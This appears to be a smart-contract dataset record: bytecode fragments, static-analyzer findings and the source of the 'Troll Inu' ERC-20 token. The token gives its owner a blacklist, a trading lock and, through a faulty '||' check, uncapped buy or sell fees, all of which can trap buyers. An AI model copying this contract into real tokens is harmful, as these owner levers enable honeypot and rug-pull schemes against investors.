1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b90565b6000601560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b919050565b6000600c54421180156123465750600d5442105b8015612365575060001515600560029054906101000a900460ff161515145b90505b90565b600a5481565b600e5481565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156123d557600080fd5b61242783601560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461312390919063ffffffff16565b601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061247f8360075461313d90919063ffffffff16565b60078190555061249a8360065461312390919063ffffffff16565b60068190555060008273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600190505b5b92915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561257e57600080fd5b61258661315c565b5061258f61203b565b612597611d67565b7f1a67d6e5b402fe0ff129cb2047b6e67ba18b8dde04bb285faed9e709d6b1eb2760405160405180910390a15b5b565b60038054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561265d5780601f106126325761010080835404028352916020019161265d565b820191906000526020600020905b81548152906001019060200180831161264057829003601f168201915b505050505081565b600f5481565b60006040600481016000369050101561268357600080fd5b600560009054906101000a900460ff16151561269e57600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480156126fc5750600f5442105b1561270657600080fd5b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480156127645750600e5442105b1561276e57600080fd5b6127c083601560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461312390919063ffffffff16565b601560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061285583601560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461313d90919063ffffffff16565b601560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600191505b5b5b5092915050565b60085481565b60075481565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600c5481565b60095481565b600d5481565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b92915050565b600b5481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612a5f57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515612ad75780600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b5b5b50565b60065481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612b3e57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151515612b9c57600080fd5b3073ffffffffffffffffffffffffffffffffffffffff16318111151515612bc257600080fd5b60176000601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460176000601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054141515612c9257600080fd5b60176000601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115612d0057600080fd5b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501515612d6257600080fd5b612dd68160176000601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461312390919063ffffffff16565b60176000601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612eaf8160176000601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461312390919063ffffffff16565b60176000601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b50565b60008082840290506000841480612f3a5750828482811515612f3757fe5b04145b1515612f4257fe5b8091505b5092915050565b6000808284811515612f5b57fe5b0490508091505b5092915050565b6000600560019054906101000a900460ff1615612f8557600080fd5b612f9a8260065461313d90919063ffffffff16565b60068190555060085460065411151515612fb357600080fd5b61300582601560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461313d90919063ffffffff16565b601560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061305e6001600b5461313d90919063ffffffff16565b600b819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b5b92915050565b600082821115151561313157fe5b81830390505b92915050565b600080828401905083811015151561315157fe5b8091505b5092915050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156131ba57600080fd5b6001600560016101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a1600190505b5b905600a165627a7a7230582036a0d711be4a3e0690ec6553c5ce076a772dd288d98c537621ef141753d1642a0029
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
3,176
0x7d6fc7c4c270a9661375be49a5176048c40a6aec
/** *Submitted for verification at Etherscan.io on 2022-05-01 */ /* Who are Crypto trolls? trollinu.club/ t.me/trollinu twitter.com/Troll_Inu */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract TROLL is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Troll Inu"; string private constant _symbol = "TROLL"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 6; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 6; uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _marketingAddress ; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; bool private _removeTxLimit = false; uint256 public _maxTxAmount = 1e10 * 10**9; uint256 public _maxWalletSize = 2e10 * 10**9; uint256 public _swapTokensAtAmount = 10000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _marketingAddress = payable(_msgSender()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } if(!_removeTxLimit){ require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); } require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { if(!_removeTxLimit){ require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { require(!tradingOpen); tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) { bots[bots_[i]] = true; } } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { require(taxFeeOnBuy<=15||taxFeeOnSell<=15); _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) external onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } function toggleSwap(bool _swapEnabled) external onlyOwner{ swapEnabled = _swapEnabled; } function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner { require(maxTxAmount > 5000000000 * 10**9 ); _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { require(maxWalletSize > 5000000000 * 10**9 ); _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } function setRemoveTxLimit(bool enable) external onlyOwner{ _removeTxLimit = enable; } }
0x6080604052600436106101db5760003560e01c806374010ece11610102578063a2a957bb11610095578063c492f04611610064578063c492f04614610581578063dd62ed3e146105a1578063ea1644d5146105e7578063f2fde38b1461060757600080fd5b8063a2a957bb146104fc578063a9059cbb1461051c578063bfd792841461053c578063c3c8cd801461056c57600080fd5b80638f70ccf7116100d15780638f70ccf7146104785780638f9a55c01461049857806395d89b41146104ae57806398a5c315146104dc57600080fd5b806374010ece146103f75780637d1db4a5146104175780637f2feddc1461042d5780638da5cb5b1461045a57600080fd5b80632fd689e31161017a5780636d8aa8f8116101495780636d8aa8f81461038d5780636fc3eaec146103ad57806370a08231146103c2578063715018a6146103e257600080fd5b80632fd689e31461031b578063313ce5671461033157806349bd5a5e1461034d5780636b9990531461036d57600080fd5b8063095ea7b3116101b6578063095ea7b31461026d5780631694505e1461029d57806318160ddd146102d557806323b872dd146102fb57600080fd5b8062b8cf2a146101e757806306fdde0314610209578063093bb7201461024d57600080fd5b366101e257005b600080fd5b3480156101f357600080fd5b50610207610202366004611a8f565b610627565b005b34801561021557600080fd5b5060408051808201909152600981526854726f6c6c20496e7560b81b60208201525b6040516102449190611b54565b60405180910390f35b34801561025957600080fd5b50610207610268366004611bb9565b61074d565b34801561027957600080fd5b5061028d610288366004611bd4565b610795565b6040519015158152602001610244565b3480156102a957600080fd5b506013546102bd906001600160a01b031681565b6040516001600160a01b039091168152602001610244565b3480156102e157600080fd5b50683635c9adc5dea000005b604051908152602001610244565b34801561030757600080fd5b5061028d610316366004611c00565b6107ac565b34801561032757600080fd5b506102ed60175481565b34801561033d57600080fd5b5060405160098152602001610244565b34801561035957600080fd5b506014546102bd906001600160a01b031681565b34801561037957600080fd5b50610207610388366004611c41565b610815565b34801561039957600080fd5b506102076103a8366004611bb9565b610860565b3480156103b957600080fd5b506102076108a8565b3480156103ce57600080fd5b506102ed6103dd366004611c41565b6108d5565b3480156103ee57600080fd5b506102076108f7565b34801561040357600080fd5b50610207610412366004611c5e565b61096b565b34801561042357600080fd5b506102ed60155481565b34801561043957600080fd5b506102ed610448366004611c41565b60116020526000908152604090205481565b34801561046657600080fd5b506000546001600160a01b03166102bd565b34801561048457600080fd5b50610207610493366004611bb9565b6109ae565b3480156104a457600080fd5b506102ed60165481565b3480156104ba57600080fd5b50604080518082019091526005815264151493d31360da1b6020820152610237565b3480156104e857600080fd5b506102076104f7366004611c5e565b610a0d565b34801561050857600080fd5b50610207610517366004611c77565b610a3c565b34801561052857600080fd5b5061028d610537366004611bd4565b610a94565b34801561054857600080fd5b5061028d610557366004611c41565b60106020526000908152604090205460ff1681565b34801561057857600080fd5b50610207610aa1565b34801561058d57600080fd5b5061020761059c366004611ca9565b610ad7565b3480156105ad57600080fd5b506102ed6105bc366004611d2d565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105f357600080fd5b50610207610602366004611c5e565b610b78565b34801561061357600080fd5b50610207610622366004611c41565b610bbb565b6000546001600160a01b0316331461065a5760405162461bcd60e51b815260040161065190611d66565b60405180910390fd5b60005b81518110156107495760145482516001600160a01b039091169083908390811061068957610689611d9b565b60200260200101516001600160a01b0316141580156106da575060135482516001600160a01b03909116908390839081106106c6576106c6611d9b565b60200260200101516001600160a01b031614155b15610737576001601060008484815181106106f7576106f7611d9b565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b8061074181611dc7565b91505061065d565b5050565b6000546001600160a01b031633146107775760405162461bcd60e51b815260040161065190611d66565b60148054911515600160b81b0260ff60b81b19909216919091179055565b60006107a2338484610ca5565b5060015b92915050565b60006107b9848484610dc9565b61080b843361080685604051806060016040528060288152602001611edf602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611327565b610ca5565b5060019392505050565b6000546001600160a01b0316331461083f5760405162461bcd60e51b815260040161065190611d66565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461088a5760405162461bcd60e51b815260040161065190611d66565b60148054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b0316146108c857600080fd5b476108d281611361565b50565b6001600160a01b0381166000908152600260205260408120546107a69061139b565b6000546001600160a01b031633146109215760405162461bcd60e51b815260040161065190611d66565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146109955760405162461bcd60e51b815260040161065190611d66565b674563918244f4000081116109a957600080fd5b601555565b6000546001600160a01b031633146109d85760405162461bcd60e51b815260040161065190611d66565b601454600160a01b900460ff16156109ef57600080fd5b60148054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b03163314610a375760405162461bcd60e51b815260040161065190611d66565b601755565b6000546001600160a01b03163314610a665760405162461bcd60e51b815260040161065190611d66565b600f82111580610a775750600f8111155b610a8057600080fd5b600893909355600a91909155600955600b55565b60006107a2338484610dc9565b6012546001600160a01b0316336001600160a01b031614610ac157600080fd5b6000610acc306108d5565b90506108d28161141f565b6000546001600160a01b03163314610b015760405162461bcd60e51b815260040161065190611d66565b60005b82811015610b72578160056000868685818110610b2357610b23611d9b565b9050602002016020810190610b389190611c41565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610b6a81611dc7565b915050610b04565b50505050565b6000546001600160a01b03163314610ba25760405162461bcd60e51b815260040161065190611d66565b674563918244f400008111610bb657600080fd5b601655565b6000546001600160a01b03163314610be55760405162461bcd60e51b815260040161065190611d66565b6001600160a01b038116610c4a5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610651565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610d075760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610651565b6001600160a01b038216610d685760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610651565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610e2d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610651565b6001600160a01b038216610e8f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610651565b60008111610ef15760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610651565b6000546001600160a01b03848116911614801590610f1d57506000546001600160a01b03838116911614155b1561122057601454600160a01b900460ff16610fb6576000546001600160a01b03848116911614610fb65760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610651565b601454600160b81b900460ff16611019576015548111156110195760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610651565b6001600160a01b03831660009081526010602052604090205460ff1615801561105b57506001600160a01b03821660009081526010602052604090205460ff16155b6110b35760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610651565b6014546001600160a01b0383811691161461114957601454600160b81b900460ff1661114957601654816110e6846108d5565b6110f09190611de0565b106111495760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610651565b6000611154306108d5565b60175460155491925082101590821061116d5760155491505b8080156111845750601454600160a81b900460ff16155b801561119e57506014546001600160a01b03868116911614155b80156111b35750601454600160b01b900460ff165b80156111d857506001600160a01b03851660009081526005602052604090205460ff16155b80156111fd57506001600160a01b03841660009081526005602052604090205460ff16155b1561121d5761120b8261141f565b47801561121b5761121b47611361565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061126257506001600160a01b03831660009081526005602052604090205460ff165b8061129457506014546001600160a01b0385811691161480159061129457506014546001600160a01b03848116911614155b156112a15750600061131b565b6014546001600160a01b0385811691161480156112cc57506013546001600160a01b03848116911614155b156112de57600854600c55600954600d555b6014546001600160a01b03848116911614801561130957506013546001600160a01b03858116911614155b1561131b57600a54600c55600b54600d555b610b7284848484611599565b6000818484111561134b5760405162461bcd60e51b81526004016106519190611b54565b5060006113588486611df8565b95945050505050565b6012546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610749573d6000803e3d6000fd5b60006006548211156114025760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610651565b600061140c6115c7565b905061141883826115ea565b9392505050565b6014805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061146757611467611d9b565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156114c0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114e49190611e0f565b816001815181106114f7576114f7611d9b565b6001600160a01b03928316602091820292909201015260135461151d9130911684610ca5565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac94790611556908590600090869030904290600401611e2c565b600060405180830381600087803b15801561157057600080fd5b505af1158015611584573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b806115a6576115a661162c565b6115b184848461165a565b80610b7257610b72600e54600c55600f54600d55565b60008060006115d4611751565b90925090506115e382826115ea565b9250505090565b600061141883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611793565b600c5415801561163c5750600d54155b1561164357565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061166c876117c1565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061169e908761181e565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546116cd9086611860565b6001600160a01b0389166000908152600260205260409020556116ef816118bf565b6116f98483611909565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa